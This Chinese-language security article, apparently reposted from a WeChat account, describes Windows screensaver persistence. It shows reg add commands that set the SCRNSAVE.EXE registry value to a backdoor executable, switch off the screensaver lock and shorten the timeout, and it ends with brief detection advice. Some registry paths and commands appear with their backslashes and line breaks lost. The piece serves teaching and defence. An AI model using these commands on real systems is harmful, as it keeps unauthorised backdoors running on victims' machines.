【权限维持技术】Windows屏幕保护

免责声明

本文仅用于技术讨论与学习，利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者及本公众号不为此承担任何责任。

Windows屏幕保护

屏幕保护是为了保护显示器而设计的一种专门的程序。

原理

屏幕保护程序的相关配置都在注册表中，如下图的四个键：

完整路径为：

HKEY_CURRENT_USERControl PanelDesktopScreenSaveActive
HKEY_CURRENT_USERControl PanelDesktopScreenSaverIsSecure
HKEY_CURRENT_USERControl PanelDesktopScreenSaveTimeOut
HKEY_CURRENT_USERControl PanelDesktopSCRNSAVE.EXE

其中

SCRNSAVE.EXE

这个键就设置了屏幕保护对应的程序，我们只需要修改这个键路径为后门路径，只要一打开屏保就会执行后门。

复现

只需要执行下面的命令，修改注册表即可：

reg add "hkcucontrol paneldesktop" /v SCRNSAVE.EXE /d C:UsersfatmoDesktop666.exe /freg add "hkcucontrol paneldesktop" /v ScreenSaveActive /d 1 /freg add "hkcucontrol paneldesktop" /v ScreenSaverIsSecure /d 0 /freg add "hkcucontrol paneldesktop" /v ScreenSaveTimeOut /d 60 /f

检测方法

1.  关闭屏幕保护

2. 监听注册表此键的更改：

   HKEY_CURRENT_USERControl PanelDesktopSCRNSAVE.EXE

原文始发于微信公众号（赛博安全狗）：【权限维持技术】Windows屏幕保护